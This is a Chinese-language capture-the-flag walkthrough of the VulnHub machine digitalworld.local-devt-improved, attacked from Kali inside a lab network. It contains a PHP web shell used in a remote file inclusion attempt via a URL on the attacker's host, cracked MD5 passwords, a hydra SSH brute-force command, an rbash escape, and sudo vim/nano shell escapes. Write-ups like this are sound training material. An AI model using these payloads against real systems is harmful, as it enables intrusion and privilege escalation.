前言
靶机:digitalworld.local-devt-improved,IP地址为192.168.10.10
攻击:kali,IP地址为192.168.10.6
kali采用VMware虚拟机,靶机选择使用VMware打开文件,都选择桥接网络
这里官方给的有两种方式,一是直接使用virtualbox加载,另一种是通过VMware直接加载,也给出了iso镜像文件。
文章中涉及的靶机,来源于
vulnhub官网,想要下载,可自行访问官网下载,或者通过网盘下载https://pan.quark.cn/s/86cf8a398835
主机发现
使用arp-scan -l或netdiscover -r 192.168.10.1/24扫描
也可以使用nmap等工具进行

信息收集
使用nmap扫描端口
扫描tcp端口,并保存于nmap-tcp
nmap -sT 192.168.10.10 --min-rate=1000 -p- -T4 -oA nmap-tcp

扫描常见的20个udp端口,不过这里的端口明显处于open的很少
nmap -sU 192.168.10.10 --top-ports 20 -T4 -oA nmap-udp

把前面扫描出的tcp端口,进行处理,只取端口号
grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','
ports=22,113,139,445,8080

对特定的端口号进行深入探测
nmap -sV -O -sC -sT 192.168.10.10 -p $ports -oA detail


对特定的端口号进行漏洞检测
nmap --script=vuln 192.168.10.10 -p $ports -oA vuln

网站信息收集
还是从网站入手,因为使用enum4linux枚举测试,并未有信息
访问8080端口的默认界面,提到一个界面

拼接地址后,发现一些目录

访问后,以几个重点截图,注意,要查看页面源代码才能发现的
给出一个目录./developmentsecretpage

给出一个文件test.pacp,格式来看像是数据流量包

访问./developmentsecretpage

给出一个patrick.php文件,点击访问,确实可解析php文件,并且有一个sitemap.php文件及链接

访问sitemap.php,给出两个php文件,securitynotice.php和directortestpagev1.php

访问securitynotice.php,给出了设置密码的情况,可能以P@ssw0rd加数字为设置

访问directortestpagev1.php,给出一个test.html的界面

这个test.html与前面给出的是一样的,那么访问前面test.pcap这个文件,该文件直接下载到本地,然后使用科来或者wireshark工具进行打开,即可看到产生的网络数据包
首先使用科来查看,直接用科来打开数据包即可,可以看到在http请求时,请求了一个之前并未有的文件
/qinyi/motivation.html

再使用wireshark打开观察一下

ok,首先观察大概两个协议为主http和smb,那么先访问之前并未有的一个链接/qinyi/motivation.html,啧,没有东西
继续分析smb协议的数据,但是并未发现敏感数据,只有一个路径/DEVELOPMENT/IPC$和版本等信息,但是不知道用户名等
漏洞寻找
继续从网站下手,之前还有一个链接未点击测试http://192.168.10.10:8080/developmentsecretpage/directortestpagev1.php?logout=1
点击后,发现一个登录框,啧,这奇怪,访问时直接登录,这里难道出问题?

虽然前面给出了密码的可能性策略,但是这里先随便在登录框输入,发现还是成功,只是多了一些报错

给出了一个slogin_lib.inc.php文件,不知道这个文件什么作用,先搜索一下,看是否是官方的函数
好家伙,一搜就全是漏洞,甚至编号都出来了
这一段是远程文件包含

这一段是敏感文件的位置

漏洞利用
那么尝试第一个远程测试
创建一个php脚本测试,然后在kali开启一个http服务
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
然后构造链接
http://192.168.10.10:8080/developmentsecretpage/slogin_lib.inc.php?slogin_path=http://192.168.10.6:8888/shell.php
不过这里当执行后,并未有远程代码执行的痕迹,也就是kali这边的http服务并没有收到请求,所以,这个远程代码执行的漏洞,可能不存在

那么测试第二种,查看敏感文件
http://192.168.10.10:8080/developmentsecretpage/slog_users.txt

这里可以看到,应该是md5加密,尝试使用网站解密吧,因为快,建议使用somd5.com,之前的cmd5.com这个网站,唉,收费的有点多
| 用户 | MD5 | 密码 |
|---|---|---|
| intern | 4a8a2b374f463b7aedbb44a066363b81 | 12345678900987654321 |
| patrick | 87e6d56ce79af90dbe07d387d3d0579e | P@ssw0rd25 |
| qiu | ee64497098d0926d198f54f6d5431f98 | qiu |
解密出三个,网站方面登录明显是假象,那么测试ssh登录
将三个用户名存储在user文件,三个密码存储在pass文件,使用hydra进行爆破
hydra -L user -P pass 192.168.10.10 ssh

rbash逃逸
使用ssh登录intern,不过给出的是rbash

尝试逃逸,之前在某个靶场中,有echo逃逸的测试,当然需要与python搭配,是lshell的问题
echo os.system('/bin/bash')
靶机内信息收集
查看当前目录下的文件

这里提到了patrick,以及密码策略,应该还没有更改
使用find寻找具有SUID权限的文件
find / -perm -4000 -print 2>/dev/null

发现有sudo和su,不过sudo -l并未对当前用户可用
那么查看/home下有哪些用户

到patrick用户下,发现有password.txt文件

查看这个文件,没有信息

提权
结合目前信息来看,su可能有用,尝试以之前的用户patrick和密码进行切换,确实可行
使用sudo -l测试

两种方式,访问网站https://gtfobins.github.io/查看用法
#vim
sudo vim -c ':!/bin/sh'
#nano
sudo nano
^R^X
reset; sh 1>&0 2>&0


查看最终flag

总结
该靶机有以下值得思考:
- 对于网站,可能存在注释设计者忘记删除,往往会暴露敏感信息
- 对于网站的链接,功能等,都需要进行测试
- 对于网站的漏洞,不要只盯着
CMS,一些语言函数也可能是有漏洞的 - 对于
ssh无法登录时,不代表su无法切换,密码都是一样的,但是ssh可能做了限制 - 对于提权,这里采用
sudo提权的方式



















